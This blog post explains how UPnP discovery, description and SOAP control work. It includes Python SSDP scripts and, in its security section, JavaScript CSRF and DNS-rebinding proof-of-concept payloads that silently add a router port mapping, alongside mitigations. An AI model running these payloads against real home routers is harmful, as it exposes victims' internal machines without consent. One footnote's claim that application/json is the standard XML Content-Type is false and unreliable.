Introduction to UPnP
Published:
Updated:
This post gives simple explanations of how UPnP (Universal Plug-and-Play) works, especially with the goal of testing the security devices such as routers, smart TVs, etc.
The goal is to explain:
- how to find which devices expose UPnP services on your local network;
- how to find which services are exposed by these devices;
- how to check whether these services are vulnerable to browser-based attacks.
We focus here on Cross Site Request Forgery (CSRF) and DNS rebinding attacks but UPnP can be used for other interesting vulnerabilities.
Table of content
Overview of UPnP
The UPnP architecture is a set of protocols used for exposing “plug-ang-play” services on the LAN: you plug a device (typically a router, a smart TV or another smart device) on the network and it exposes some features which are immediately usable to any device on the LAN without the need of any configuration or provisioning. The features exposed this way do not requires any form of authentication which makes them an interesting target for attacks. A lot of these services are vulnerable to CSRF and/or DNS rebinding attacks.
The UPnP protocol is made of four parts:
- Discovery (finding which devices and services are available), using SSDP;
- Description (finding which actions and state variables are exposed by the UPnP devices), using XML files received over HTTP;
- Control (calling UPnP actions), using SOAP/1.1 over HTTP/1.1;
- Eventing (listening to state change notifications), based on GENA (General Event Notification Architecture) for UPnP 1.0 with the addition of multicast event notification in UPnP 1.1+
The stack is summarized as:
[Device/service desc.] [SOAP/1.1] [UPnP event] [UPnP event]
[XML ] [XML ] [XML ] [XML ]
[HTTP+SSDP ] [HTTP ] [HTTP ] [HTTP+GENA ] [HTTP+GENA ]
[UDP ] [TCP ] [TCP ] [TCP ] [UDP ]
[IP (mcast)] [IP ] [IP ] [IP ] [IP (mcast)]
Service Service Control Eventing Eventing
Discovery Description (RPC) (unicast) (multicast)
Note: UPnP eventing is not covered in this post.
Discovery
Service discovery is done using SSDP (Simple Service Discovery Protocol). SSDP use HTTP-like messages sent over UDP (one message per datagram).
Announces
SSDP services are announced periodically using the NOTIFY method. It is sent on UDP port 1900 to multicast address 239.255.255.250. We can listen to these using a script such as:
import socket
from signal import alarm
import sys
import ipaddress
import struct
import sys
interface_address = sys.argv[1]
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_LOOP, 1)
# Not available in Python: sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_ALL, 0)
sock.bind(("0.0.0.0", 1900))
mreq = struct.pack("4s4s", socket.inet_aton("239.255.255.250"), socket.inet_aton(interface_address))
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
while True:
response = sock.recv(4096)
sys.stdout.write(response.decode("UTF-8"))
sys.stdout.flush()
Usage:
python ./ssdp_discover.py 192.168.1.42
where 192.168.1.42 is the IP address of the local machine on the network interface we want to listen to.
Example of output (one message per UDP datagram):
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=1801
NTS: ssdp:alive
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, Unspecified
NT: upnp:rootdevice
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::upnp:rootdevice
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=1801
NTS: ssdp:alive
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, Unspecified
NT: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=1801
NTS: ssdp:alive
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, Unspecified
NT: urn:schemas-upnp-org:device:InternetGatewayDevice:2
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::urn:schemas-upnp-org:device:InternetGatewayDevice:2
Important headers:
NTS(Notifcation Sub-Type) (ssdp:alive,ssdp:byebye,ssdp:update)Location, URI of the UPnP device description (XML file)NT(Notification Type) is either a device type (eg.urn:schemas-wifialliance-org:device:WFADevice:1), a service type (eg.urn:schemas-wifialliance-org:service:WFAWLANConfig:1) a device identifier (eg.uuid:a6df5df0-8662-491d-a89e-ffebc5d55db8) orupnp:rootdevice(advertised for all devices)USN(Unique Service Name)
Searches
In order to elicit SSDP announces, we can use a M-SEARCH message:
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 5
ST: ssdp:all
USER-AGENT: Python/3.0 UPnP/1.1 Foo/1.0
This can be done with a script such as:
import socket
from signal import alarm
import sys
interface_address = sys.argv[1] if len(sys.argv) >= 2 else "0.0.0.0"
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_IF, socket.inet_aton(interface_address))
message = b"""M-SEARCH * HTTP/1.1\r
HOST: 239.255.255.250:1900\r
MAN: "ssdp:discover"\r
MX: 5\r
ST: ssdp:all\r
USER-AGENT: Python/3.0 UPnP/1.1 Foo/1.0\r
\r
"""
sock.sendto(message, ("239.255.255.250", 1900))
alarm(15)
while True:
response = sock.recv(4096)
sys.stdout.write(response.decode("UTF-8"))
sys.stdout.flush()
Usage:
python ./ssdp_search.py 192.168.1.42
Example of response (one message per UDP datagram):
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 18 Aug 2020 22:30:55 GMT
EXT:
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, SoftAtHome
ST: upnp:rootdevice
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::upnp:rootdevice
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 18 Aug 2020 22:30:55 GMT
EXT:
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, SoftAtHome
ST: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 18 Aug 2020 22:30:55 GMT
EXT:
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, SoftAtHome
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:2
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::urn:schemas-upnp-org:device:InternetGatewayDevice:2
The important HTTP request header is ST (Search Target) which can be either:
ssdp:all;upnp:rotdevice;- a device identifier (eg.
uuid:e8238d3a-f12e-4678-bf17-56a9ee13b311); - an device identifier;
- a service identifier.
Description
The description is made of two part:
- Device Description, gives informations about the device and which service are available;
- Service description, describe the different services (which actions they provide).
Device Description
The HTTP resources indicated in the LOCATION header provides a description of the device and its services[1]:
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<device>
<pnpx:X_hardwareId xmlns:pnpx="http://schemas.microsoft.com/windows/pnpx/2005/11">VEN_0129&DEV_0000&SUBSYS_03&REV_250407</pnpx:X_hardwareId>
<pnpx:X_compatibleId xmlns:pnpx="http://schemas.microsoft.com/windows/pnpx/2005/11">GenericUmPass</pnpx:X_compatibleId>
<pnpx:X_deviceCategory xmlns:pnpx="http://schemas.microsoft.com/windows/pnpx/2005/11">NetworkInfrastructure.Gateway</pnpx:X_deviceCategory>
<df:X_deviceCategory xmlns:df="http://schemas.microsoft.com/windows/2008/09/devicefoundation">Network.Gateway</df:X_deviceCategory>
<deviceType>urn:schemas-upnp-org:device:InternetGatewayDevice:2</deviceType>
<friendlyName>Orange Livebox</friendlyName>
<manufacturer>Sagemcom</manufacturer>
<manufacturerURL>http://www.sagemcom.com/</manufacturerURL>
<modelName>Residential Livebox,(DSL,WAN Ethernet)</modelName>
<UDN>uuid:e30681fd-9888-4c54-81f2-fc2f536561c1</UDN>
<modelDescription>Sagemcom,fr,SG30_sip-fr-6.62.12.1</modelDescription>
<modelNumber>3</modelNumber>
<serialNumber>XXXXXXXXXXXX</serialNumber>
<presentationURL>http://192.168.1.1</presentationURL>
<UPC></UPC>
<iconList>
<icon>
<mimetype>image/png</mimetype>
<width>16</width>
<height>16</height>
<depth>8</depth>
<url>/e30681fd/ligd.png</url>
</icon>
</iconList>
<deviceList>
<device>
<deviceType>urn:schemas-upnp-org:device:WANDevice:2</deviceType>
<friendlyName>Orange Livebox</friendlyName>
<manufacturer>Sagemcom</manufacturer>
<manufacturerURL>http://www.sagemcom.com/</manufacturerURL>
<modelDescription>Sagemcom,fr,SG30_sip-fr-6.62.12.1</modelDescription>
<modelName>Residential Livebox,(DSL,WAN Ethernet)</modelName>
<modelNumber>3</modelNumber>
<modelURL>http://www.sagemcom.com/</modelURL>
<serialNumber>XXXXXXXXXXXX</serialNumber>
<presentationURL>http://192.168.1.1</presentationURL>
<UDN>uuid:276a23d7-a371-4fb2-a2c0-b6ba7ac0f0f7</UDN>
<UPC></UPC>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANCommonIFC1</serviceId>
<controlURL>/e30681fd/upnp/control/WANCommonIFC1</controlURL>
<eventSubURL>/e30681fd/upnp/control/WANCommonIFC1</eventSubURL>
<SCPDURL>/e30681fd/gateicfgSCPD.xml</SCPDURL>
</service>
</serviceList>
<deviceList>
<device>
<deviceType>urn:schemas-upnp-org:device:WANConnectionDevice:2</deviceType>
<friendlyName>Orange Livebox</friendlyName>
<manufacturer>Sagemcom</manufacturer>
<manufacturerURL>http://www.sagemcom.com/</manufacturerURL>
<modelDescription>Sagemcom,fr,SG30_sip-fr-6.62.12.1</modelDescription>
<modelName>Residential Livebox,(DSL,WAN Ethernet)</modelName>
<modelNumber>3</modelNumber>
<modelURL>http://www.sagemcom.com/</modelURL>
<serialNumber>XXXXXXXXXXXX</serialNumber>
<presentationURL>http://192.168.1.1</presentationURL>
<UDN>uuid:fcc2812a-f1b8-444d-b48b-b179e162d33f</UDN>
<UPC></UPC>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:2</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
<controlURL>/e30681fd/upnp/control/WANIPConn1</controlURL>
<eventSubURL>/e30681fd/upnp/control/WANIPConn1</eventSubURL>
<SCPDURL>/e30681fd/gateconnSCPD_IP.xml</SCPDURL>
</service>
<service>
<serviceType>urn:schemas-upnp-org:service:WANIPv6FirewallControl:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPv6FwCtrl1</serviceId>
<controlURL>/e30681fd/upnp/control/WANIPv6FwCtrl1</controlURL>
<eventSubURL>/e30681fd/upnp/control/WANIPv6FwCtrl1</eventSubURL>
<SCPDURL>/e30681fd/wanipv6fwctrlSCPD.xml</SCPDURL>
</service>
</serviceList>
</device>
</deviceList>
</device>
</deviceList>
</device>
</root>
For each service, we have:
- the URI of the control endpoint (used to trigger UPnP actions);
- the URI of the eventing endpoint (used to subscribe to notifications);
- the URI of the Service Control Protocol Description (SCPD) file (which lists the available actions on this service).
Service Scription
Each service is described by a XML document, the SCPD. This document is located by the SCPDURL element and looks like:
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<actionList>
<!-- ... -->
<action>
<name>AddPortMapping</name>
<argumentList>
<argument>
<name>NewRemoteHost</name>
<direction>in</direction>
<relatedStateVariable>RemoteHost</relatedStateVariable>
</argument>
<argument>
<name>NewExternalPort</name>
<direction>in</direction>
<relatedStateVariable>ExternalPort</relatedStateVariable>
</argument>
<argument>
<name>NewProtocol</name>
<direction>in</direction>
<relatedStateVariable>PortMappingProtocol</relatedStateVariable>
</argument>
<argument>
<name>NewInternalPort</name>
<direction>in</direction>
<relatedStateVariable>InternalPort</relatedStateVariable>
</argument>
<argument>
<name>NewInternalClient</name>
<direction>in</direction>
<relatedStateVariable>InternalClient</relatedStateVariable>
</argument>
<argument>
<name>NewEnabled</name>
<direction>in</direction>
<relatedStateVariable>PortMappingEnabled</relatedStateVariable>
</argument>
<argument>
<name>NewPortMappingDescription</name>
<direction>in</direction>
<relatedStateVariable>PortMappingDescription</relatedStateVariable>
</argument>
<argument>
<name>NewLeaseDuration</name>
<direction>in</direction>
<relatedStateVariable>PortMappingLeaseDuration</relatedStateVariable>
</argument>
</argumentList>
</action>
<!-- ... -->
</actionList>
<serviceStateTable>
<!-- ... -->
</serviceStateTable>
</scpd>
Each available action on the service is defined by:
- a name;
- a set of input parameters (
<direction>in</direction>); - a set out ouput parameters (
<direction>out</direction>);.
The serviceStateTable element contains the set of state variables which are susceptible to be monitored using UPnP eventing.
Control
Calling a UPnP action is done using SOAP/1.1[2] over HTTP POST using the URI indicated in the controlURL element:
POST /e30681fd/upnp/control/WANIPConn1 HTTP/1.1
Host: 192.168.1.1:60000
Content-Type: text/xml; charset=utf-8
Content-Lenght: ...
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:2#AddPortMapping
<?xml version="1.0″ encoding="utf-8″?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:2">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>9999</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>9999</NewInternalPort>
<NewInternalClient>192.168.1.16</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>Test</NewPortMappingDescription>
<NewLeaseDuration>240</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>
Notes:
- the SOAP action header is derived from the
serviceTypeand the actionname; - the
Content-Typeis expected to betext/xml; charset=utf-8[3]; - the tag name of the element in the SOAP
Bodyis the actionnameand its namespace is theserviceType; - each child of this element defines the value of an input parameter (without namespace).
The response is a SOAP response following the same pattern:
HTTP/1.1 200 OK
CONTENT-LENGTH: ...
CONTENT-TYPE: text/xml; charset="utf-8"
DATE: Sat, 18 Jul 2020 10:49:38 GMT
EXT:
SERVER: Unspecified, UPnP/1.0, SoftAtHome
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:AddPortMappingResponse xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:2">
</u:AddPortMappingResponse>
</s:Body>
</s:Envelope>
Eventing
Eventing, allows for a client to get notifications when the values of the states variables change. The list of state variables is declared in the serviceStateTable element of the SCPD. Eventing on UPnP 1.0 is based on General Event Notification Architecture (GENA) and use the SUBSCRIBE, UNSUBSCRIBE and NOTIFY methods. This is not covered in this post.
Security Considerations
CSRF
If the service does not validate the Content-Type and the SOAPAction headers of the UPnP request, the service might be vulnerable to CSRF attacks.
We can check this type of attacks from another origin with a script such as:
fetch("/control/wan_ip_connection", {
mode: "no-cors",
method: "POST",
headers: {
"Content-Type": "text/plain",
},
body: `<?xml version="1.0″ encoding="utf-8″?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>9999</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>9999</NewInternalPort>
<NewInternalClient>192.168.0.12</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>Test</NewPortMappingDescription>
<NewLeaseDuration>240</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>`
});
In CSRF attacks, the attacker cannot get the response. If all the UPnP actions are readonly (do not have any side-effect), the vulnerability may not have any impact in practice.
The service can prevent this type of attacks either:
- by properly validating the
Content-Typeheader of the UPnP request; - by properly validating the (required)
SOAPActionheader of the UPnP request; - by using unpredictable[4] control (and event subscription) URIs.
The latter approach can be seen in the previous examples taken from the OrangeBox.
DNS rebinding
If the service does not validate the Host header, the service might be vulnerable to DNS rebinding attacks.
function sleep(delay)
{
return new Promise((resolve, reject) => {
setTimeout(resolve, delay);
});
}
async function main()
{
while(true) {
const response = await fetch("/control/wan_ip_connection", {
method: "POST",
headers: {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": '"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"',
},
body: `<?xml version="1.0″ encoding="utf-8″?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>9999</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>9999</NewInternalPort>
<NewInternalClient>192.168.0.12</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>Test</NewPortMappingDescription>
<NewLeaseDuration>240</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>`
});
if (response.status == 200) {
alert("DONE!")
return;
}
await sleep(1000);
}
}
main()
In contrast to CSRF attacks:
- the attacker can read the UPnP response;
- the attacker can set the
Content-TypeandSOAPActionheaders; - the attacker can read the device description and SCPDs (if their URIs are predictable).
The service can prevent this type of attacks either:
- by validating the
Hostheader (it should only accept IP addresses); - by validating the
Originheader (but this only works with modern browsers which means theHostheader should be validated anyway); - by making the service description URI, of the SCPD URIs and the control URIs unpredictable[4:1].
References
Normative references:
Other documentations:
Other vulnerability classes:
- CallStranger, using the
SUBSCRIBEmethod (eventing) for SSRF
Some vulnerabilities:
The UUIDs and URI prefixes have been changed for security reasons 😊. ↩︎
Not
application/jsonwhich is now the standardContent-Typefor XML content. Notapplication/soap+xmlwhich is used for SOAP 1.2. ↩︎I am not certain that using unpredictable URIs as a sole mitigation is a great idea. If an attacker gets access to your LAN once, he can get the unpredictable URIs. Unless these unpredictable URIs change frequently, the attacker can then conduct targeted CSRF and DNS rebinding attacks while outside of your network. Moreover, people tend to paste these URIs on technical forums (for example by pasting device description files). ↩︎ ↩︎